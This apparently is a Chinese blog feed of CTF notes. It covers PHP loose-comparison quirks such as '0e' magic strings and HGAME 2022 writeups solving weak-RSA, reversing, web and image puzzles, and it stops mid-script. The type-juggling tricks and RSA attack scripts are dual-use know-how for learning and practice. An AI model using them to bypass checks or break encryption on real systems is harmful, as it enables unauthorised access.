class="string">"2"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"default"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// output: 1</span></span><br></pre></td></tr></table></figure><h3 id="字符串和数字比较">字符串和数字比较</h3><p>在 PHP 中,一个字符串可能被解析成两种类型:普通的字符串或者是数字字符串,值得注意的是,在 PHP8.x 中只有形如 <code><str1>e<str2></code> 的字符串只有 <code><str1></code> 和 <code><str2></code> 全为数字时才会被解析成数字字符串,而 PHP5.x 以及 PHP7.x 中只要以数字开头都可。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">"1e5"</span> == <span class="number">100000</span>); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">"2a"</span> == <span class="number">2</span>);</span><br><span class="line"><span class="comment">// PHP5.x PHP7.x => bool(true)</span></span><br><span class="line"><span class="comment">// PHP8.x => bool(false)</span></span><br></pre></td></tr></table></figure><div class="warning"><p>普通字符串和数字比较,字符串会被转换成数字 $0$。<br>该特性只在 PHP 5.x 和 PHP 7.x 上生效。</p></div><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">"str"</span> == <span class="number">0</span>); <span class="comment">// bool(true)</span></span><br></pre></td></tr></table></figure><p>以下示例来自官方文档,可以看到存在精度误差。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$foo</span> = <span class="number">1</span> + <span class="string">"10.5"</span>; <span class="comment">// $foo 是 float (11.5)</span></span><br><span class="line"><span class="variable">$foo</span> = <span class="number">1</span> + <span class="string">"-1.3e3"</span>; <span class="comment">// $foo 是 float (-1299)</span></span><br><span class="line"><span class="variable">$foo</span> = <span class="number">1</span> + <span class="string">"bob-1.3e3"</span>; <span class="comment">// PHP 8.0.0 起产生 TypeError;在此之前 $foo 是 integer (1)</span></span><br><span class="line"><span class="variable">$foo</span> = <span class="number">1</span> + <span class="string">"bob3"</span>; <span class="comment">// PHP 8.0.0 起产生 TypeError;在此之前 $foo 是 integer (1)</span></span><br><span class="line"><span class="variable">$foo</span> = <span class="number">1</span> + <span class="string">"10 Small Pigs"</span>; <span class="comment">// PHP 8.0.0 起,$foo 是 integer (11),并且产生 E_WARNING;在此之前产生 E_NOTICE</span></span><br><span class="line"><span class="variable">$foo</span> = <span class="number">4</span> + <span class="string">"10.2 Little Piggies"</span>; <span class="comment">// PHP 8.0.0 起,$foo 是 float (14.2),并且产生 E_WARNING;在此之前产生 E_NOTICE</span></span><br><span class="line"><span class="variable">$foo</span> = <span class="string">"10.0 pigs "</span> + <span class="number">1</span>; <span class="comment">// PHP 8.0.0 起,$foo 是 float (11),并且产生 E_WARNING;在此之前产生 E_NOTICE</span></span><br><span class="line"><span class="variable">$foo</span> = <span class="string">"10.0 pigs "</span> + <span class="number">1.0</span>; <span class="comment">// PHP 8.0.0 起,$foo 是 float (11),并且产生 E_WARNING;在此之前产生 E_NOTICE</span></span><br></pre></td></tr></table></figure><p><strong>特殊的,在 PHP 5.x,“0x” 开头的字符串能被解析成 16 进制的数字。</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="number">0x123</span>); <span class="comment">// int(291)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>((<span class="keyword">int</span>)<span class="string">'0x123'</span>); <span class="comment">// int(0)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">'0x123'</span> == <span class="number">0x123</span>); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">'0x123'</span> == <span class="number">291</span>); <span class="comment">// bool(true)</span></span><br></pre></td></tr></table></figure><p>但是显而易见的,这种解析方法存在歧义,比如第二个也可以被解析成 0,所以才会被弃用的吧。</p><h3 id="字符串和字符串比较">字符串和字符串比较</h3><p>字符串之间的比较有个很有意思的点,那就是如果字符串本身如果不相等的话,解释器会尝试把它们转换为数字字符串再进行比较。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">"1e5"</span> == <span class="string">"100000"</span>); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">"1e5"</span> == <span class="string">"10e4"</span>); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">"1e5"</span> == <span class="string">"1e5a"</span>); <span class="comment">// bool(false)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">"0e12345"</span> == <span class="string">"0e67890"</span>); <span class="comment">// bool(true)</span></span><br></pre></td></tr></table></figure><p>利用这一点,我们可以让一些字符串函数的返回值以 <code>0e</code> 开头来搞点事情,详细的放在了[函数篇中的字符串函数]中。</p><h3 id="bool-类型和字符串比较">bool 类型和字符串比较</h3><p>bool 类型的 true 可以和任意非空、解析后非零字符串相等,false 则反之。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">'0'</span> == <span class="literal">true</span>); <span class="comment">// bool(false)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">''</span> == <span class="literal">true</span>); <span class="comment">// bool(false)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">'0a'</span> == <span class="literal">true</span>); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="string">'a'</span> == <span class="literal">true</span>); <span class="comment">// bool(true)</span></span><br></pre></td></tr></table></figure><h3 id="bool-类型和数字比较">bool 类型和数字比较</h3><p>bool 类型的 true 可以和任意非零数字相等,反之亦然。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="number">0</span> == <span class="literal">true</span>); <span class="comment">// bool(false)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="number">1</span> == <span class="literal">true</span>); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="number">1.0</span> == <span class="literal">true</span>); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>((<span class="number">1</span> - <span class="number">1</span>) == <span class="literal">true</span>); <span class="comment">// bool(false)</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>整理了一些 PHP 中的一些常在 CTF 比赛中用到的语法特性,也算是自用笔记。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Web" scheme="https://sxyugao.top/categories/CTF/Web/"/>
<category term="PHP" scheme="https://sxyugao.top/tags/PHP/"/>
</entry>
<entry>
<title>HGAME 2022 Writeup - Week2</title>
<link href="https://sxyugao.top/p/4a7063b5.html"/>
<id>https://sxyugao.top/p/4a7063b5.html</id>
<published>2022-02-03T14:17:25.000Z</published>
<updated>2022-02-23T04:02:38.179Z</updated>
<content type="html"><![CDATA[<p>HGAME 2022 第二周部分题的 Writeup。</p><p>第二周的难度上升了不少,而且遇到了春节,所以就没做多少。。</p><span id="more"></span><h2 id="CRYPTO">CRYPTO</h2><h3 id="RSA-Attack">RSA Attack</h3><p>拿到数据,发现 $n$ 这么小,直接去在线网站分解得到 $p$ 和 $q$,然后直接解密即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">import</span> libnum</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Decrypt</span>(<span class="params">e, p, q, c</span>):</span><br><span class="line"> f = (p - <span class="number">1</span>) * (q - <span class="number">1</span>)</span><br><span class="line"> d = gmpy2.invert(e, f)</span><br><span class="line"> n = p * q</span><br><span class="line"> m = gmpy2.powmod(c, d, n)</span><br><span class="line"> <span class="keyword">return</span> libnum.n2s(<span class="built_in">int</span>(m))</span><br><span class="line"></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">p = <span class="number">715800347513314032483037</span></span><br><span class="line">q = <span class="number">978782023871716954857211</span></span><br><span class="line">c = <span class="number">122622425510870177715177368049049966519567512708</span></span><br><span class="line"><span class="built_in">print</span>(Decrypt(e, p, q, c))</span><br></pre></td></tr></table></figure><p>拿到 flag:<code>hgame{SHorTesT!fLAg}</code></p><h3 id="RSA-Attack-2">RSA Attack 2</h3><p>分成了三个子问题,而 <code>task.py</code> 告诉我们了加密过程。</p><h4 id="task1">task1</h4><p>注意到 $n1$ 和 $n2$ 是不互质的,且都是两个质数相乘,所以取最大公因数即可得到 $q$,然后得到 $p$ 即可,注意 Python 里的整数除法是 <code>//</code> 不是 <code>/</code>,在这里坑了好久。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">task1</span>():</span><br><span class="line"> e = <span class="number">65537</span></span><br><span class="line"> n1 = <span class="number">14611545605107950827581005165327694782823188603151768169731431418361306231114985037775917461433925308054396970809690804073985835376464629860609710292181368600618626590498491850404503443414241455487304448344892337877422465715709154238653505141605904184985311873763495761345722155289457889686019746663293720106874227323699288277794292208957172446523420596391114891559537811029473150123641624108103676516754449492805126642552751278309634846777636042114135990516245907517377320190091400729277307636724890592155256437996566160995456743018225013851937593886086129131351582958811003596445806061492952513851932238563627194553</span></span><br><span class="line"> c1 = <span class="number">965075803554932988664271816439183802328812013694203741320763105376036912584995031647672348468111310423680858101990670067065306237596121664884353679987689532305437801346923070145524106271337770666947677115752724993307387122132705797012726237073550669419110046308257408484535063515678066777681017211510981429273346928022971149411064556225001287399141306136081722471075032423079692908380267160214143720516748000734987068685104675254411687005690312116824966036851568223828884335112144637268090397158532937141122654075952730052331573980701136378212002956719295192733955673315234274064519957670199895100508623561838510479</span></span><br><span class="line"> n2 = <span class="number">20937478725109983803079185450449616567464596961348727453817249035110047585580142823551289577145958127121586792878509386085178452171112455890429474457797219202827030884262273061334752493496797935346631509806685589179618367453992749753318273834113016237120686880514110415113673431170488958730203963489455418967544128619234394915820392908422974075932751838012185542968842691824203206517795693893863945100661940988455695923511777306566419373394091907349431686646485516325575494902682337518438042711296437513221448397034813099279203955535025939120139680604495486980765910892438284945450733375156933863150808369796830892363</span></span><br><span class="line"> c2 = <span class="number">11536506945313747180442473461658912307154460869003392732178457643224057969838224601059836860883718459986003106970375778443725748607085620938787714081321315817144414115589952237492448483438910378865359239575169326116668030463275817609827626048962304593324479546453471881099976644410889657248346038986836461779780183411686260756776711720577053319504691373550107525296560936467435283812493396486678178020292433365898032597027338876045182743492831814175673834198345337514065596396477709839868387265840430322983945906464646824470437783271607499089791869398590557314713094674208261761299894705772513440948139429011425948090</span></span><br><span class="line"> q = gmpy2.gcdext(n1, n2)[<span class="number">0</span>]</span><br><span class="line"> p = n1 // q</span><br><span class="line"> <span class="keyword">return</span> Decrypt(e, p, q, c1)</span><br></pre></td></tr></table></figure><h4 id="task2">task2</h4><p>注意到 $e$ 非常的小,而 RSA 加密是 $m^e \equiv c \pmod n$,即 $m^e=n \times k + c,\ k \in Z$,$e$ 很小而 $n$ 很大意味着我们可以枚举 $k$ 来暴力得到 $m$。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">task2</span>():</span><br><span class="line"> e = <span class="number">7</span></span><br><span class="line"> n = <span class="number">14157878492255346300993349653813018105991884577529909522555551468374307942096214964604172734381913051273745228293930832314483466922529240958994897697475939867025561348042725919663546949015024693952641936481841552751484604123097148071800416608762258562797116583678332832015617217745966495992049762530373531163821979627361200921544223578170718741348242012164115593777700903954409103110092921578821048933346893212805071682235575813724113978341592885957767377587492202740185970828629767501662195356276862585025913615910839679860669917255271734413865211340126544199760628445054131661484184876679626946360753009512634349537</span></span><br><span class="line"> c = <span class="number">10262871020519116406312674685238364023536657841034751572844570983750295909492149101500869806418603732181350082576447594766587572350246675445508931577670158295558641219582729345581697448231116318080456112516700717984731655900726388185866905989088504004805024490513718243036445638662260558477697146032055765285263446084259814560197549018044099935158351931885157616527235283229066145390964094929007056946332051364474528453970904251050605631514869007890625</span></span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">200000000</span>):</span><br><span class="line"> res = gmpy2.iroot(c + n * k, e)</span><br><span class="line"> <span class="keyword">if</span> (res[<span class="number">1</span>] == <span class="number">1</span>):</span><br><span class="line"> <span class="keyword">return</span> libnum.n2s(<span class="built_in">int</span>(res[<span class="number">0</span>]))</span><br></pre></td></tr></table></figure><h4 id="task3">task3</h4><p>注意到两次 RSA 过程中的 $n$ 和 $m$ 是一样的。</p><div>$$m^{e1} \equiv c1 \pmod n \\m^{e2} \equiv c2 \pmod n$$</div><p>而 $e1$ 和 $e2$ 都是质数,所以有 $gcd(e1,e2)=1$。</p><p>根据扩展欧几里得算法,存在 $e1 \times s1 + e2 \times s2 = gcd(e1,e2)$</p><p>根据以上式子对 $m$ 进行推导:</p><div>$$\begin{aligned}m &= m^{e1 \times s1 + e2 \times s2} \\ &= (m^{e1})^{s1} + (m^{e2})^{s2} \\ &\equiv c1^{s1} + c2^{s2} \pmod n \\\end{aligned}$$</div><p>所以用扩展欧几里得算法求出 $s1$ 和 $s2$ 即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">task3</span>():</span><br><span class="line"> n = <span class="number">18819509188106230363444813350468162056164434642729404632983082518225388069544777374544142317612858448345344137372222988033366528086236635213756227816610865045924357232188768913642158448603346330462535696121739622702200540344105464126695432011739181531217582949804939555720700457350512898322376591813135311921904580338340203569582681889243452495363849558955947124975293736509426400460083981078846138740050634906824438689712748324336878791622676974341814691041262280604277357889892211717124319329666052810029131172229930723477981468761369516771720250571713027972064974999802168017946274736383148001865929719248159075729</span></span><br><span class="line"> e1 = <span class="number">2519901323</span></span><br><span class="line"> c1 = <span class="number">3230779726225544872531441169009307072073754578761888387983403206364548451496736513905460381907928107310030086346589351105809028599650303539607581407627819797944337398601400510560992462455048451326593993595089800150342999021874734748066692962362650540036002073748766509347649818139304363914083879918929873577706323599628031618641793074018304521243460487551364823299685052518852685706687800209505277426869140051056996242882132616256695188870782634310362973153766698286258946896866396670872451803114280846709572779780558482223393759475999103607704510618332253710503857561025613632592682931552228150171423846203875344870</span></span><br><span class="line"> e2 = <span class="number">3676335737</span></span><br><span class="line"> c2 = <span class="number">940818595622279161439836719641707846790294650888799822335007385854166736459283129434769062995122371073636785371800857633841379139761091890426137981113087519934854663776695944489430385663011713917022574342380155718317794204988626116362865144125136624722782309455452257758808172415884403909840651554485364309237853885251876941477098008690389600544398998669635962495989736021020715396415375890720335697504837045188626103142204474942751410819466379437091569610294575687793060945525108986660851277475079994466474859114092643797418927645726430175928247476884879817034346652560116597965191204061051401916282814886688467861</span></span><br><span class="line"> s = gmpy2.gcdext(e1, e2)</span><br><span class="line"> s1 = s[<span class="number">1</span>]</span><br><span class="line"> s2 = s[<span class="number">2</span>]</span><br><span class="line"> <span class="keyword">if</span> (s1 < <span class="number">0</span>):</span><br><span class="line"> s1 = -s1</span><br><span class="line"> c1 = gmpy2.invert(c1, n)</span><br><span class="line"> <span class="keyword">if</span> s2 < <span class="number">0</span>:</span><br><span class="line"> s2 = -s2</span><br><span class="line"> c2 = gmpy2.invert(c2, n)</span><br><span class="line"> m = <span class="built_in">pow</span>(c1, s1, n) * <span class="built_in">pow</span>(c2, s2, n) % n</span><br><span class="line"> <span class="keyword">return</span> libnum.n2s(<span class="built_in">int</span>(m))</span><br></pre></td></tr></table></figure><p>得到 flag:<code>hgame{RsA@hAS!a&VArIETY?of.AttacK^mEThodS^whAT:other!AttACK|METHOdS~do@you_KNOW}</code></p><h2 id="REVERSE">REVERSE</h2><h3 id="xD-MAZE">xD MAZE</h3><p>直接扔到 IDA 里,反编译后发现逻辑类似在一维数轴上跳跃,问怎么样能 28 步全在特定的点上。</p><p>声明了一个大小为 4096 的数组,值为 32 则该点可以走,35 则不行。</p><p>写了个 DFS 来跑 flag:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><cstdio></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><iostream></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="type">int</span> data[<span class="number">4096</span>];</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">db</span><span class="params">(<span class="type">int</span> n, <span class="type">int</span> x)</span> </span>{</span><br><span class="line"> <span class="type">static</span> <span class="type">int</span> t = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < n; i++) data[t + i] = x;</span><br><span class="line"> t += n;</span><br><span class="line">}</span><br><span class="line"><span class="type">int</span> d[] = {<span class="number">512</span>, <span class="number">64</span>, <span class="number">8</span>, <span class="number">1</span>};</span><br><span class="line"><span class="type">char</span> flag[<span class="number">30</span>];</span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">dfs</span><span class="params">(<span class="type">int</span> now, <span class="type">int</span> step)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (now >= <span class="number">4096</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (data[now] != <span class="number">32</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">if</span> (step >= <span class="number">28</span>) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> <span class="type">bool</span> f = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">4</span>; i++) {</span><br><span class="line"> flag[step] = <span class="string">'0'</span> + i;</span><br><span class="line"> f |= <span class="built_in">dfs</span>(now + d[i], step + <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (f) <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> f;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">2</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">63</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">7</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">511</span>, <span class="number">35</span>);</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">63</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">63</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">2</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">511</span>, <span class="number">35</span>);</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">2</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">63</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">7</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">511</span>, <span class="number">35</span>);</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">2</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">7</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">511</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">2</span>, <span class="number">32</span>);</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">7</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">7</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">7</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">7</span>, <span class="number">35</span>);</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">2</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">63</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">511</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">511</span>, <span class="number">35</span>);</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">2</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">511</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">63</span>, <span class="number">35</span>), <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>), <span class="built_in">db</span>(<span class="number">63</span>, <span class="number">35</span>);</span><br><span class="line"> <span class="built_in">db</span>(<span class="number">1</span>, <span class="number">32</span>);</span><br><span class="line"> <span class="built_in">dfs</span>(<span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"hgame{%s}"</span>, flag);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>拿到 flag:<code>hgame{3120113031203203222231003011}</code></p><h2 id="WEB">WEB</h2><h3 id="webpack-engine">webpack-engine</h3><p>开始点按钮玩,喜闻乐见的上当了环节</p><p>然后直奔源码,发现没关 source map,找到了 <code>Fl4g_1s_her3.vue</code></p><p>里面发现 <code>YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo=</code></p><p>BASE64 解密一次得到 <code>aGdhbWV7RDBudF9mMHI5ZXRfMl9DbE9zM19TMHVyY2VfbUBwfQ==</code></p><p>继续 BASE64 解密就拿到 flag。</p><p>得到 flag:<code>hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}</code></p><p><strong>To be continued…</strong></p>]]></content>
<summary type="html"><p>HGAME 2022 第二周部分题的 Writeup。</p>
<p>第二周的难度上升了不少,而且遇到了春节,所以就没做多少。。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="HGAME" scheme="https://sxyugao.top/categories/CTF/HGAME/"/>
<category term="HGAME" scheme="https://sxyugao.top/tags/HGAME/"/>
</entry>
<entry>
<title>HGAME 2022 Writeup - Week1</title>
<link href="https://sxyugao.top/p/d379320f.html"/>
<id>https://sxyugao.top/p/d379320f.html</id>
<published>2022-01-27T16:08:17.000Z</published>
<updated>2022-02-23T03:59:17.169Z</updated>
<content type="html"><![CDATA[<p>HGAME 2022 第一周部分题的 Writeup。</p><p>小插曲,作者在打比赛的时候忘记截止时间少交了一个 flag,血亏 150 分 QAQ。</p><span id="more"></span><h2 id="CRYPTO">CRYPTO</h2><h3 id="Dancing-Line">Dancing Line</h3><p>拿到图片,发现是一条折线,一开始没啥思路。</p><p>但仔细思考发现线横向只会向右,纵向只会向下,想到了什么?二进制!<s>其实是受到校内比赛的启发</s></p><p>使用 PS 打开,放大后发现相邻两个黑方格之间正好相差 7 个蓝方格,想到了什么?ASCII 码!</p><p>再结合 HGAME 的 flag 格式:<code>hgame{xxx}</code>,我们先拿到 <code>h</code> 的 ASCII 码,并将其转为二进制 <code>1101000</code>,再去对应找规律。</p><p>猜测是在折角处改变 0/1 状态,进行验证,发现前两段正好是 <code>hg</code>,写了个 Python 脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line">im = Image.<span class="built_in">open</span>(<span class="string">'./Dancing Line.bmp'</span>)</span><br><span class="line">n = im.size[<span class="number">0</span>]</span><br><span class="line">m = im.size[<span class="number">1</span>]</span><br><span class="line">res = <span class="number">0</span></span><br><span class="line">cur = <span class="literal">False</span></span><br><span class="line">flag = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(m):</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n):</span><br><span class="line"> x = im.getpixel((i, j))</span><br><span class="line"> <span class="keyword">if</span> (x == (<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>)):</span><br><span class="line"> <span class="keyword">if</span> ((i, j) != (<span class="number">0</span>, <span class="number">0</span>)):</span><br><span class="line"> flag += <span class="built_in">chr</span>(res)</span><br><span class="line"> res = <span class="number">0</span></span><br><span class="line"> cur = <span class="literal">False</span></span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">if</span> (x == (<span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span>)):</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">if</span> (i - <span class="number">1</span> < <span class="number">0</span> <span class="keyword">or</span> i + <span class="number">1</span> >= n <span class="keyword">or</span> j - <span class="number">1</span> < <span class="number">0</span> <span class="keyword">or</span> j + <span class="number">1</span> >= m):</span><br><span class="line"> cur = <span class="keyword">not</span> cur</span><br><span class="line"> <span class="keyword">elif</span> ((im.getpixel((i - <span class="number">1</span>, j)) != im.getpixel((i + <span class="number">1</span>, j))) <span class="keyword">and</span> (im.getpixel((i, j - <span class="number">1</span>)) != im.getpixel((i, j + <span class="number">1</span>)))):</span><br><span class="line"> cur = <span class="keyword">not</span> cur</span><br><span class="line"> <span class="comment"># 